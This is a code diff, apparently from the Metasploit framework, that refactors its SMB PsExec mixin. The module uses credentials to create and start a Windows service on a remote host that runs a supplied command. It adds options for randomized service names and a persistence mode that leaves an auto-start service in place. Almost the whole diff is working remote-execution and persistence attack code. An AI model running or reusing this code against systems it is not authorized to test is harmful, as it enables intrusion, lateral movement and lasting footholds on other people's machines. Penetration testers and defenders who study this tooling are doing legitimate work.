1
1
# -*- coding: binary -*-
2
+ require 'rex/proto/dcerpc/svcctl'
2
3
3
4
module Msf
4
5
@@ -12,9 +13,50 @@ module Msf
12
13
13
14
module Exploit ::Remote ::SMB ::Psexec
14
15
16
+ include Rex ::Constants ::Windows
15
17
include Msf ::Exploit ::Remote ::DCERPC
16
18
include Msf ::Exploit ::Remote ::SMB ::Authenticated
17
19
20
+ def initialize ( info = { } )
21
+ super
22
+ register_options (
23
+ [
24
+ OptString . new ( 'SERVICE_NAME' , [ false , 'The service name' , nil ] ) ,
25
+ OptString . new ( 'SERVICE_DISPLAY_NAME' , [ false , 'The service display name' , nil ] ) ,
26
+ OptString . new ( 'SERVICE_DESCRIPTION' , [ false , "Service description to to be used on target for pretty listing" , nil ] )
27
+ ] , self . class )
28
+
29
+ register_advanced_options (
30
+ [
31
+ OptBool . new ( 'SERVICE_PERSIST' , [ true , 'Create an Auto run service and do not remove it.' , false ] )
32
+ ] , self . class )
33
+ end
34
+
35
+ # Retrieve the SERVICE_NAME option, generate a random
36
+ # one if not already set.
37
+ #
38
+ # @return service_name [String] the name of the service.
39
+ def service_name
40
+ @service_name ||= datastore [ 'SERVICE_NAME' ]
41
+ @service_name ||= Rex ::Text . rand_text_alpha ( 8 )
42
+ end
43
+
44
+ # Retrieve the SERVICE_DISPLAY_NAME option, generate a random
45
+ # one if not already set.
46
+ #
47
+ # @return service_display_name [String] the display name of the service.
48
+ def display_name
49
+ @display_name ||= datastore [ 'SERVICE_DISPLAY_NAME' ]
50
+ @display_name ||= Rex ::Text . rand_text_alpha ( 16 )
51
+ end
52
+
53
+ # Retrieve the SERVICE_DESCRIPTION option
54
+ #
55
+ # @return service_description [String] the service description.
56
+ def service_description
57
+ @service_description ||= datastore [ 'SERVICE_DESCRIPTION' ]
58
+ end
59
+
18
60
# Retrives output from the executed command
19
61
#
20
62
# @param smbshare [String] The SMBshare to connect to. Usually C$
@@ -37,7 +79,6 @@ def smb_read_file(smbshare, host, file)
37
79
end
38
80
end
39
81
40
-
41
82
# Executes a single windows command.
42
83
#
43
84
# If you want to retrieve the output of your command you'll have to
@@ -47,115 +88,109 @@ def smb_read_file(smbshare, host, file)
47
88
# {Exploit::FileDropper#cleanup} and
48
89
# {Exploit::FileDropper#on_new_session} handlers do it for you.
49
90
#
50
- # @todo Figure out the actual exceptions this needs to deal with
51
- # instead of all the ghetto "rescue ::Exception" madness
52
91
# @param command [String] Should be a valid windows command
53
92
# @param disconnect [Boolean] Disconnect afterwards
54
- # @param service_description [String] Service Description
55
- # @param service_name [String] Service Name
56
- # @param display_name [Strnig] Display Name
57
93
# @return [Boolean] Whether everything went well
58
- def psexec ( command , disconnect = true , service_description = nil , service_name = nil , display_name = nil )
94
+ def psexec ( command , disconnect = true )
59
95
simple . connect ( "\\ \\ #{ datastore [ 'RHOST' ] } \\ IPC$" )
60
96
handle = dcerpc_handle ( '367abb81-9844-35f1-ad32-98f038001003' , '2.0' , 'ncacn_np' , [ "\\ svcctl" ] )
61
97
vprint_status ( "#{ peer } - Binding to #{ handle } ..." )
62
98
dcerpc_bind ( handle )
63
99
vprint_status ( "#{ peer } - Bound to #{ handle } ..." )
64
100
vprint_status ( "#{ peer } - Obtaining a service manager handle..." )
65
- scm_handle = nil
66
- stubdata = NDR . uwstring ( "\\ \\ #{ rhost } " ) + NDR . long ( 0 ) + NDR . long ( 0xF003F )
67
- begin
68
- response = dcerpc . call ( 0x0f , stubdata )
69
- if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
70
- scm_handle = dcerpc . last_response . stub_data [ 0 , 20 ]
71
- end
72
- rescue ::Exception => e
73
- print_error ( "#{ peer } - Error getting scm handle: #{ e } " )
74
- return false
75
- end
76
- servicename = service_name || Rex ::Text . rand_text_alpha ( 11 )
77
- displayname = display_name || Rex ::Text . rand_text_alpha ( 16 )
78
-
79
- svc_handle = nil
80
- svc_status = nil
81
- stubdata =
82
- scm_handle + NDR . wstring ( servicename ) + NDR . uwstring ( displayname ) +
83
- NDR . long ( 0x0F01FF ) + # Access: MAX
84
- NDR . long ( 0x00000110 ) + # Type: Interactive, Own process
85
- NDR . long ( 0x00000003 ) + # Start: Demand
86
- NDR . long ( 0x00000000 ) + # Errors: Ignore
87
- NDR . wstring ( command ) +
88
- NDR . long ( 0 ) + # LoadOrderGroup
89
- NDR . long ( 0 ) + # Dependencies
90
- NDR . long ( 0 ) + # Service Start
91
- NDR . long ( 0 ) + # Password
92
- NDR . long ( 0 ) + # Password
93
- NDR . long ( 0 ) + # Password
94
- NDR . long ( 0 ) # Password
95
- begin
96
- vprint_status ( "#{ peer } - Creating the service..." )
97
- response = dcerpc . call ( 0x0c , stubdata )
98
- if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
99
- svc_handle = dcerpc . last_response . stub_data [ 4 , 20 ]
100
- svc_status = dcerpc . last_response . stub_data [ 24 , 4 ]
101
- end
102
- rescue ::Exception => e
103
- print_error ( "#{ peer } - Error creating service: #{ e } " )
104
- return false
101
+
102
+ svc_client = Rex ::Proto ::DCERPC ::SVCCTL ::Client . new ( dcerpc )
103
+ scm_handle , scm_status = svc_client . openscmanagerw ( datastore [ 'RHOST' ] )
104
+
105
+ if scm_status == ERROR_ACCESS_DENIED
106
+ print_error ( "#{ peer } - ERROR_ACCESS_DENIED opening the Service Manager" )
105
107
end
106
108
107
- if service_description
108
- vprint_status ( "#{ peer } - Changing service description..." )
109
- stubdata =
110
- svc_handle +
111
- NDR . long ( 1 ) + # dwInfoLevel = SERVICE_CONFIG_DESCRIPTION
112
- NDR . long ( 1 ) + # lpInfo -> *SERVICE_DESCRIPTION
113
- NDR . long ( 0x0200 ) + # SERVICE_DESCRIPTION struct
114
- NDR . long ( 0x04000200 ) +
115
- NDR . wstring ( service_description )
116
- begin
117
- response = dcerpc . call ( 0x25 , stubdata ) # ChangeServiceConfig2
118
- rescue Rex ::Proto ::DCERPC ::Exceptions ::Fault => e
119
- print_error ( "#{ peer } - Error changing service description : #{ e } " )
120
- end
109
+ return false unless scm_handle
110
+
111
+ if datastore [ 'SERVICE_PERSIST' ]
112
+ opts = { :start => SERVICE_AUTO_START }
113
+ else
114
+ opts = { }
121
115
end
122
116
123
- vprint_status ( "#{ peer } - Starting the service..." )
124
- stubdata = svc_handle + NDR . long ( 0 ) + NDR . long ( 0 )
125
- begin
126
- response = dcerpc . call ( 0x13 , stubdata )
127
- if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
128
- end
129
- rescue ::Exception => e
130
- print_error ( "#{ peer } - Error starting service: #{ e } " )
117
+ vprint_status ( "#{ peer } - Creating the service..." )
118
+ svc_handle , svc_status = svc_client . createservicew ( scm_handle , service_name , display_name , command , opts )
119
+
120
+ case svc_status
121
+ when ERROR_SUCCESS
122
+ vprint_good ( "#{ peer } - Successfully created the service" )
123
+ when ERROR_SERVICE_EXISTS
124
+ service_exists = true
125
+ print_warning ( "#{ peer } - Service already exists, opening a handle..." )
126
+ svc_handle = svc_client . openservicew ( scm_handle , service_name )
127
+ when ERROR_ACCESS_DENIED
128
+ print_error ( "#{ peer } - Unable to create service, ACCESS_DENIED, did AV gobble your binary?" )
129
+ return false
130
+ else
131
+ print_error ( "#{ peer } - Failed to create service, ERROR_CODE: #{ svc_status } " )
131
132
return false
132
133
end
133
- vprint_status ( "#{ peer } - Removing the service..." )
134
- stubdata = svc_handle
135
- begin
136
- response = dcerpc . call ( 0x02 , stubdata )
137
- if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
134
+
135
+ if svc_handle . nil?
136
+ print_error ( "#{ peer } - No service handle retrieved" )
137
+ return false
138
+ else
139
+
140
+ if service_description
141
+ vprint_status ( "#{ peer } - Changing service description..." )
142
+ svc_client . changeservicedescription ( svc_handle , service_description )
143
+ end
144
+
145
+ vprint_status ( "#{ peer } - Starting the service..." )
146
+ begin
147
+ svc_status = svc_client . startservice ( svc_handle )
148
+ case svc_status
149
+ when ERROR_SUCCESS
150
+ print_good ( "#{ peer } - Service started successfully..." )
151
+ when ERROR_FILE_NOT_FOUND
152
+ print_error ( "#{ peer } - Service failed to start - FILE_NOT_FOUND" )
153
+ when ERROR_ACCESS_DENIED
154
+ print_error ( "#{ peer } - Service failed to start - ACCESS_DENIED" )
155
+ when ERROR_SERVICE_REQUEST_TIMEOUT
156
+ print_good ( "#{ peer } - Service start timed out, OK if running a command or non-service executable..." )
157
+ else
158
+ print_error ( "#{ peer } - Service failed to start, ERROR_CODE: #{ svc_status } " )
159
+ end
160
+ ensure
161
+ begin
162
+ # If service already exists don't delete it!
163
+ # Maybe we could have a force cleanup option..?
164
+ if service_exists
165
+ print_warning ( "#{ peer } - Not removing service as it already existed..." )
166
+ elsif datastore [ 'SERVICE_PERSIST' ]
167
+ print_warning ( "#{ peer } - Not removing service for persistance..." )
168
+ else
169
+ vprint_status ( "#{ peer } - Removing the service..." )
170
+ svc_status = svc_client . deleteservice ( svc_handle )
171
+ if svc_status == ERROR_SUCCESS
172
+ vprint_good ( "#{ peer } - Successfully removed the sevice" )
173
+ else
174
+ print_error ( "#{ peer } - Unable to remove the service, ERROR_CODE: #{ svc_status } " )
175
+ end
176
+ end
177
+ ensure
178
+ vprint_status ( "#{ peer } - Closing service handle..." )
179
+ svc_client . closehandle ( svc_handle )
180
+ end
138
181
end
139
- rescue ::Exception => e
140
- print_error ( "#{ peer } - Error removing service: #{ e } " )
141
- end
142
- vprint_status ( "#{ peer } - Closing service handle..." )
143
- begin
144
- response = dcerpc . call ( 0x0 , svc_handle )
145
- rescue ::Exception => e
146
- print_error ( "#{ peer } - Error closing service handle: #{ e } " )
147
182
end
148
183
149
184
if disconnect
150
185
sleep ( 1 )
151
186
simple . disconnect ( "\\ \\ #{ datastore [ 'RHOST' ] } \\ IPC$" )
152
187
end
153
188
154
- return true
189
+ true
155
190
end
156
191
157
192
def peer
158
- return "#{ rhost } :#{ rport } "
193
+ "#{ rhost } :#{ rport } "
159
194
end
160
195
161
196
end
0 commit comments